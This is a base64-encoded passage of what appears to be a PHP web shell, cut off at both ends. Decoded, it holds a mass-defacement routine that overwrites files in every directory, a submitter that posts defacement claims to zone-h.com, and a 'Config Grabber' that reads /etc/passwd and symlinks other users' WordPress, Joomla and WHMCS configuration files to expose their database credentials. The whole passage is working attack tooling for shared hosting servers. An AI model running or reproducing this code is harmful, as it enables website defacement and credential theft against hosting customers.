dGVyIiBzdHlsZT0nYmFja2dyb3VuZDpibGFjazsnIG5hbWU9J2luZGV4JyByb3dzPScxNScgY29scz0nODAnPjw/PSRzY3JpcHRfZGVmYWNlOyA/PjwvdGV4dGFyZWE+PGJyPgo8Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSImbmJzcDsmbmJzcDtNYXNzIERlZmFjZSZuYnNwOyZuYnNwOyI+PC9jZW50ZXI+PC9mb3JtPjwvdGFibGU+PC90YWJsZT48L3RhYmxlPjwvdGFibGU+Cjxicj48L2Zvcm0+Cjw/cGhwICRtYWlucGF0aD0kX1BPU1RbcGF0aF07JGZpbGU9JF9QT1NUW2ZpbGVdOyRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7JGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1RbaW5kZXhdKTskaW5keD1iYXNlNjRfZGVjb2RlKCRjb2RlKTt3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOyRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGluZHgpO2lmICgkZmluaXNoKXtlY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+Ijt9fX0KLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd6b25lJykpCnsgICBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+Wm9uZS1IIFN1Ym1pdGVyPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KIjsKPz4KPGZvcm0gYWN0aW9uPSI/eT08Pz0kcHdkOyA/PiZhbXA7eD16b25lIiBtZXRob2Q9InBvc3QiPgoKPGJyPjxicj48Y2VudGVyPgo8IS0tIFpvbmUtSCAtLT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0nUE9TVCc+PHRhYmxlPjx0YWJsZSBjbGFzcz0ndGFibmV0Jz4KPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwO3BhZGRpbmctbGVmdDoxMHB4Oyc+PHRyPjx0cj48dGggY29sc3Bhbj0iMiI+PGI+Wm9uZS1IIERlZmFjZXI8L2I+PC90aD48L3RyPjwvdGQ+PC90cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+PGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9ImRlZmFjZXIiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgcGxhY2Vob2xkZXI9Ik5hbWUgT2YgRGVmYWNlciIgLz4KPHNlbGVjdCBuYW1lPSJoYWNrbW9kZSIgY2xhc3M9ImlucHV0eiIgPgo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TZWxlY3QgT25lLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPktub3duIFZ1bG5lcmFiaWxpdHkgKGkuZS4gVW5wYXRjaGVkIFN5c3RlbSk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlVuZGlzY2xvc2VkIChuZXcpIFZ1bG5lcmFiaWxpdHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPkNvbmZpZ3VyYXRpb24gLyBBZG1pbiBNaXN0YWtlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5CcnV0ZSBGb3JjZSBBdHRhY2s8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSIgPlNvY2lhbCBFbmdpbmVlcmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+V2ViIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgRXh0ZXJuYWwgTW9kdWxlIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjkiID5GVFAgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiID5SUEMgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBNaXNjb25maWd1cmF0aW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiID5PdGhlciBXZWIgQXBwbGljYXRpb24gQnVnPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBCcnV0ZWZvcmNpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgQWRtaW5pc3RyYXRpdmUgUGFuZWwgQWNjZXNzIFBhc3N3b3JkIEd1ZXNzaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIxIiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBTb2NpYWwgRW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiID5BdHRhY2sgQWdhaW5zdCBBZG1pbmlzdHJhdG9yKFBhc3N3b3JkIFN0ZWFsaW5nU25pZmZpbmcpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIiA+QWNjZXNzIENyZWRlbnRpYWxzIFRocm91Z2ggTWFuIEluIHRoZSBNaWRkbGUgQXR0YWNrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI0IiA+UmVtb3RlIFNlcnZpY2UgUGFzc3dvcmQgR3Vlc3Npbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgU2VydmljZSBQYXNzd29yZCBCcnV0ZWZvcmNlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2IiA+UmVyb3V0aW5nIEFmdGVyIEF0dGFja2luZyBUaGUgRmlyZXdhbGw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciID5SZXJvdXRpbmcgQWZ0ZXIgQXR0YWNraW5nIFRoZSBSb3V0ZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgQXR0YWNrIFRocm91Z2ggU29jaWFsIEVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5IiA+RE5TIEF0dGFjayBUaHJvdWdoIENhY2hlIFBvaXNvbmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4KPC9zZWxlY3Q+Cgo8c2VsZWN0IG5hbWU9InJlYXNvbiIgY2xhc3M9ImlucHV0eiIgPgo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS1TZWxlY3QgT25lLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLkp1c3QgRm9yIEZ1biE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgQWdhaW5zdCBUaGF0IFdlYnNpdGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCBSZWFzb25zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIENoYWxsZW5nZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+SSBKdXN0IFdhbnQgVG8gQmUgVGhlIEJlc3QgRGVmYWNlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IEF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iem9uZSI+PHRyPjx0ZD4KPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7b3V0bGluZTpub25lOyIgbmFtZT0iZG9tYWluIiBjb2xzPSIxMTYiIHJvd3M9IjkiIGlkPSJkb21haW5zIiBwbGFjZWhvbGRlcj0iTGlzdCBPZiBEb21haW5zIj48L3RleHRhcmVhPgo8YnIgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIC8+PGJyPjwvY2VudGVyPjwvdGFibGU+CjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+CjwhLS0gRW5kIE9mIFpvbmUtSCAtLT4KPC90ZD48L2NlbnRlcj48YnI+PGJyPgoKPD9waHAKZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKSAKeyAKICAgICRrID0gY3VybF9pbml0KCk7IAogICAgY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsgCiAgICBjdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7IAogICAgY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOyAKICAgIGN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOyAKICAgIGN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgCiAgICAka3VicmEgPSBjdXJsX2V4ZWMoJGspOyAKICAgIGN1cmxfY2xvc2UoJGspOyAKICAgIHJldHVybiAka3VicmE7IAp9IAp7IAogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgCiAgICAgICAgICAgICAgICAkc3ViID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOyAKICAgICAgICAgICAgICAgIGlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZGllKCc8Y2VudGVyPjxiPlstXSBDdXJsIElzIE5vdCBTdXBwb3J0ZWQgISFbLV08L2I+PC9jZW50ZXI+Jyk7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOyAKICAgICAgICAgICAgICAgICRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107IAogICAgICAgICAgICAgICAgJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsgCiAgICAgICAgICAgICAgICAkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107IAogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRoYWNrZXIpKSAKICAgICAgICAgICAgICAgIHsgZGllICgiPGNlbnRlcj48Yj4gPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSAgCiAgICAgICAgICAgICAgICB7IGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpICAKICAgICAgICAgICAgICAgIHsgIGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBSRUFTT04gWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKGVtcHR5KCRzaXRlKSkgIAogICAgICAgICAgICAgICAgeyBkaWUoIjxjZW50ZXI+PGI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTwvYj48L2NlbnRlcj4iKTsgfSAKICAgICAgICAgICAgICAgICRpID0gMDsgCiAgICAgICAgICAgICAgICAkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsgCiAgICAgICAgICAgICAgICB3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpICAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgIAogICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsgCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICBab25lSCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOyAKICAgICAgICAgICAgICAgICAgICAgZWNobyAiJHNpdGVzWyRpXSI7IAogICAgICAgICAgICAgICAgICAgICsrJGk7IAogICAgICAgICAgICAgICAgfSAKCiAgICAgICAgICAgIH0gCgogICAgCn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdncmFiYycpKXsgQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkNvbmZpZyBHcmFiYmVyPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KIjsKPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1ncmFiYyIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCmVjaG8gIgo8Zm9ybSBtZXRob2Q9J1BPU1QnPgo8L2hlYWQ+CjxzdHlsZT4KdGV4dGFyZWEgewpyZXNpemU6bm9uZTsKY29sb3I6ICMwMDAwMDAgOwpiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7ICAKZm9udC1zaXplOjhwdDsgY29sb3I6I2ZmZmZmZjsKCndpZHRoOjU1MHB4OwpoZWlnaHQ6NDAwcHg7Cn0KaW5wdXQgewpjb2xvcjogIzAwMDAwMDsKYm9yZGVyOjFweCBkb3R0ZWQgd2hpdGU7Cn0KPC9zdHlsZT4iOwplY2hvICI8Y2VudGVyPiI7Pz48L2NlbnRlcj48YnI+PGNlbnRlcj48P3BocCBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48dGFibGUgY2xhc3M9InRhYm5ldCIgPgo8dGggY29sc3Bhbj0nNSc+PGI+Q29uZmlnIEdyYWJiZXI8L2I+PC90aD48L2NlbnRlcj4KPHRyPjx0ZD48L3RkPjx0ZD48dGFibGU+PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+PD89ZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGFzc3dkJyk7ID8+PC90ZXh0YXJlYT48YnI+CjxjZW50ZXI+PGlucHV0IG5hbWU9ImNvbmZpZyIgc3R5bGU9IndpZHRoOjU1MHB4OyIgY2xhc3M9J2lucHV0emJ1dCcgdmFsdWU9IiZuYnNwOyZuYnNwO0dyYWIhJm5ic3A7Jm5ic3A7IiB0eXBlPSJzdWJtaXQiPjwvZm9ybT48L2NlbnRlcj48L3RhYmxlPjwvdGFibGU+Cjw/cGhwIH1pZiAoJF9QT1NUWydjb25maWcnXSkgeyRmdW5jdGlvbiA9ICRmdW5jdGlvbnM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7aWYoZXJlZ2koInN5bWxpbmsiLCRmdW5jdGlvbnMpKXtkaWUgKCc8ZXJyb3I+U3ltbGluayBkaXNhYmxlZCA6KCA8L2Vycm9yPicpO31AbWtkaXIoJ2V4cGxvZGVkY2dyYWInLCAwNzU1KTtAY2hkaXIoJ2V4cGxvZGVkY2dyYWInKTsKJGh0YWNjZXNzPSIKT1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kKT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkZvcmNlVHlwZSB0ZXh0L3BsYWluCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbApBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwKQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwCkFkZEhhbmRsZXIgdHh0IC5odG1sCkFkZEhhbmRsZXIgdHh0IC5zaHRtbApPcHRpb25zIEFsbApPcHRpb25zIEFsbApPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQpPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRm9yY2VUeXBlIHRleHQvcGxhaW4KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbApBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAKQWRkSGFuZGxlciB0eHQgLmh0bWwKQWRkSGFuZGxlciB0eHQgLnNodG1sCk9wdGlvbnMgQWxsCk9wdGlvbnMgQWxsIjsKZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGh0YWNjZXNzLEZJTEVfQVBQRU5EKTskcGFzc3dkPSRfUE9TVFsicGFzc3dkIl07CiRwYXNzd2Q9ZXhwbG9kZSgiXG4iLCRwYXNzd2QpOwplY2hvICI8YnI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9I2IwYjAwMCBzaXplPTJwdD53YWl0IC4uLjwvY2VudGVyPjxicj4iOwpmb3JlYWNoKCRwYXNzd2QgYXMgJHB3ZCl7CiRwYXdkPWV4cGxvZGUoIjoiLCRwd2QpOyR1c2VyID0kcGF3ZFswXTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXdwLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1XUC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy13cC1iZXRhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtV29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkdXNlci4nLWNvbmZpZ2dnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLW5ld3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1uZXcudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJsb2cudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1ibG9ncy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtaG9tZS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYi5waHAnLCR1c2VyLictZGJjb25mLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1tYWluLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdwLXRlc3QudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYTIudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1wcm90YWwudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvby50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLWNtcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW1haW4udHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEtbmV3cy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ldy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1ob21lLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictdmItY29uZmlnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0xNS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1jZW50cmFsLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0td2htY3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1XSE1DUy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jLVdITS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXN1cHBvcnQudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCR1c2VyLictd2htY3MyLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb2